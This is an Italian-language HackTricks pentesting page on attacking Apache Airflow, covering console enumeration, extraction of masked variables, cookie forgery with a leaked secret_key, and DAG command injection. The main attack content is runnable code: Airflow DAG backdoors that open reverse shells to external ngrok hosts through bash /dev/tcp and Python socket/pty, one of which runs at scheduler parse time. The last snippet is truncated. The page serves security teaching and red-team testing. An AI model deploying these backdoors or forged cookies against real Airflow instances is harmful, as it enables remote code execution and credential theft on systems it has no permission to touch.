Apache Airflow Security

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

Apache Airflow funge da piattaforma per orchestrare e pianificare i data pipeline o i flussi di lavoro. Il termine "orchestrazione" nel contesto dei data pipeline significa il processo di organizzare, coordinare e gestire flussi di lavoro dati complessi provenienti da varie fonti. Lo scopo principale di questi data pipeline orchestrati è fornire set di dati elaborati e consumabili. Questi set di dati sono ampiamente utilizzati da una miriade di applicazioni, tra cui ma non limitate a strumenti di business intelligence, modelli di data science e machine learning, tutti fondamentali per il funzionamento delle applicazioni big data.

In sostanza, Apache Airflow ti permetterà di programmare l'esecuzione del codice quando accade qualcosa (evento, cron).

Laboratorio Locale

Docker-Compose

Puoi utilizzare il file di configurazione docker-compose da https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml per avviare un ambiente docker completo di Apache Airflow. (Se sei su MacOS assicurati di dare almeno 6GB di RAM alla VM di Docker).

Minikube

Un modo semplice per eseguire Apache Airflow è farlo con minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Configurazione di Airflow

Airflow potrebbe memorizzare informazioni sensibili nella sua configurazione o potresti trovare configurazioni deboli in atto:

pageAirflow Configuration

RBAC di Airflow

Prima di iniziare ad attaccare Airflow, dovresti capire come funzionano le autorizzazioni:

pageAirflow RBAC

Attacchi

Enumerazione della Console Web

Se hai accesso alla console web, potresti essere in grado di accedere a alcune o a tutte le seguenti informazioni:

  • Variabili (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)

  • Connessioni (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)

  • Accedile in http://<airflow>/connection/list/

  • Configurazione (Informazioni sensibili come la secret_key e le password potrebbero essere memorizzate qui)

  • Elenca utenti e ruoli

  • Codice di ciascun DAG (che potrebbe contenere informazioni interessanti)

Recupero dei Valori delle Variabili

Le variabili possono essere memorizzate in Airflow in modo che i DAG possano accedere ai loro valori. È simile ai segreti di altre piattaforme. Se hai autorizzazioni sufficienti, puoi accedervi nell'interfaccia grafica in http://<airflow>/variable/list/. Di default, Airflow mostrerà il valore della variabile nell'interfaccia grafica, tuttavia, secondo questo è possibile impostare un elenco di variabili il cui valore apparirà come asterischi nell'interfaccia grafica.

Tuttavia, questi valori possono ancora essere recuperati tramite CLI (è necessario avere accesso al DB), esecuzione di DAG arbitrari, API che accedono il punto finale delle variabili (l'API deve essere attivata) e anche l'interfaccia grafica stessa! Per accedere a quei valori dall'interfaccia grafica, basta selezionare le variabili a cui si desidera accedere e fare clic su Azioni -> Esporta. Un altro modo è eseguire un bruteforce al valore nascosto utilizzando il filtro di ricerca finché non lo si ottiene:

Escalation dei Privilegi

Se la configurazione expose_config è impostata su True, dal ruolo Utente e in su possono leggere la configurazione nel web. In questa configurazione, compare la secret_key, il che significa che qualsiasi utente con questa chiave valida può creare il proprio cookie firmato per impersonare qualsiasi altro account utente.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Backdoor del DAG (RCE nel worker di Airflow)

Se hai accesso in scrittura al luogo dove sono salvati i DAG, puoi semplicemente creare uno che ti invierà una shell inversa. Nota che questa shell inversa verrà eseguita all'interno di un container worker di Airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Backdoor del DAG (RCE nel pianificatore di Airflow)

Se si imposta qualcosa da eseguire nella radice del codice, al momento della stesura di questo testo, verrà eseguito dal pianificatore dopo un paio di secondi dopo averlo inserito nella cartella del DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Creazione DAG

Se riesci a compromettere una macchina all'interno del cluster DAG, puoi creare nuovi script DAG nella cartella dags/ e verranno replicati nel resto delle macchine all'interno del cluster DAG.

Iniezione Codice DAG

Quando esegui un DAG dall'interfaccia grafica, puoi passargli argomenti. Pertanto, se il DAG non è codificato correttamente, potrebbe essere vulnerabile all'Injection di Comandi. Questo è ciò che è successo in questo CVE: https://www.exploit-db.com/exploits/49927

Tutto ciò che devi sapere per iniziare a cercare iniezioni di comandi nei DAG è che i parametri sono acceduti con il codice dag_run.conf.get("nome_parametro").

Inoltre, la stessa vulnerabilità potrebbe verificarsi con le variabili (nota che con sufficienti privilegi potresti controllare il valore delle variabili nell'interfaccia grafica). Le variabili sono accedute con:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Se vengono utilizzati ad esempio all'interno di un comando bash, potresti eseguire un'iniezione di comandi.

Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated